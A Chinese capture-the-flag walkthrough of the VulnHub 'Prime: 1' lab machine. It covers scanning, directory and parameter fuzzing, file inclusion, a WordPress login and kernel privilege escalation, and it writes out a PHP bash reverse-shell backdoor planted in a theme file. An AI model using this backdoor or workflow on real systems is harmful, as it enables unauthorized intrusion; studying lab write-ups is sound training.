介绍

系列：Prime（此系列共1台）
发布日期：2019年9月1日
难度：初-中
运行环境：VMware Workstation
目标：取得 root 权限 + Flag
学习：

• 主机发现
• 端口扫描+漏洞扫描
• 目录爆破
• 文件扩展名爆破
• 强制访问
• 文件包含漏洞
• WordPress利用
• 内核提权

靶机地址：https://www.vulnhub.com/entry/prime-1,358/

信息收集

主机信息探测

netdiscover主机发现

sudo netdiscover -i eth0 -r 192.168.229.0/24

主机信息探测

发现网站存在wordpress，并且似乎存在漏洞

nmap -p- 192.168.229.136
nmap -p 22,80 -A 192.168.229.136
nmap -p 22,80 --script=vuln 192.168.229.136

网站探测

开局就是一个静态页面，页面源代码中没有任何有价值的信息，直接目录爆破

目录爆破

dirsearch -u http://192.168.229.136/ --full-url -R 2 -x 404

首先，“dev”目录下提示，我需要更努力的爆破才行，针对WordPress的用户名枚举只发现了“victor”，漏洞枚举没有发现能打进去的漏洞。
进行二次目录爆破，这次对文件扩展进行爆破，结果就是没有发现什么有价值的信息

dirsearch -u http://192.168.229.136/ --full-url -R 2 -x 404,403 -e php,txt

排雷dirsearch

到这里卡了一会，看了下别人的扫描方式，不由得感叹，碰上了dirsearch的一个暗坑。我在自己的物理机中，执行与上图同样的命令，结果发现了“secret.txt”。

python D:\tools\目录扫描\dirsearch-0.4.3\dirsearch.py --full-url -R 2 -x 404,403 -u http://192.168.229.136/ -f -e php,txt

那为什么使用同样的命令，在kali中，dirsearch没有发现这个结果呢？
首先，我的物理机上安装了dirsearch，我知道它字典的路径，借此我在kali中定位到了它的字典，确认存在“secret”目录。那就是说明字典没问题。然后要分析这个问题就需要做流量分析，我让dirsearch的流量全部经过我物理机上的bp

dirsearch -u http://192.168.229.136/ --full-url -R 2 -x 404,403 -e php,txt --proxy=http://192.168.229.1:8080

过滤bp的流量，发现kali中的dirsearch压根没有访问“secret.txt”

到此基本确认了dirsearch的这个暗坑，我们常说要交叉不同的工具去测试目标，那么，换用别的工具再来测试一下呢？我这里让ffuf调用dirsearch的默认字典来扫描，顺利发现了目标

ffuf -u http://192.168.229.136/FUZZ -w /usr/lib/python3/dist-packages/dirsearch/db/dicc.txt -c -ic -r -e .txt,.php -fc 403,404

那么这个目录里是个什么东西呢？他告诉我们，要对每个php页面做进一步的模糊测试，并且提供了一个uri作为案例，但是我不需要。说白了，就是对得到的php页面做强制访问，强制访问的参数值是“location.txt”

强制访问

得到提示，对php页面用“secrettier360”作为参数会得到一些有趣的结果

ffuf -u http://192.168.229.136/index.php?FUZZ=location.txt -w /usr/share/wordlists/SecLists-2022.4/Discovery/Web-Content/common.txt -c -fs 136 -s

然后就发现了一个看似有趣的页面，它可以把其他页面的内容包含进来，这似乎是一个文件包含漏洞

文件包含漏洞

确认文件包含漏洞，并发现一条敏感信息

兜兜转转，最后得到这样一个结果：follow_the_ippsec

测试了一下，无法ssh登录

利用WordPress

枚举用户，发现用户：victor

wpscan --url http://192.168.229.136/wordpress/ -e u

尝试登录，于是密码： follow_the_ippsec 可以登录。简单搜寻一番后，发现了一处可以编辑的php页面

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.229.128/1234 0>&1'"); ?>

后门写上去了，怎么找到这个页面呢？如果你对wordpress不熟悉，可以这样：
首先使用dirb http://192.168.229.136/wordpress/去递归爆破站点，然后你会看到下图红框中的，wordpress的主题路径，然后根据后门坐在的页面，得出后门地址

顺利的话，你会拿到一个shell

提权

wordpress配置文件

针对wordpress提权，首先找一找配置文件，在配置文件中找到了一个密码，想要试着提权，失败了。

内核提权

发现靶机的内核版本是16.04，应该可以内核漏洞提权，之前打靶碰到过这个内核版本的靶机，直接抄以前的笔记，测试发现靶机有gcc和nc，既然在kali上编译好的文件不能用，那就在靶机上编译文件吧

投递原始的利用文件，在靶机上编译之后利用成功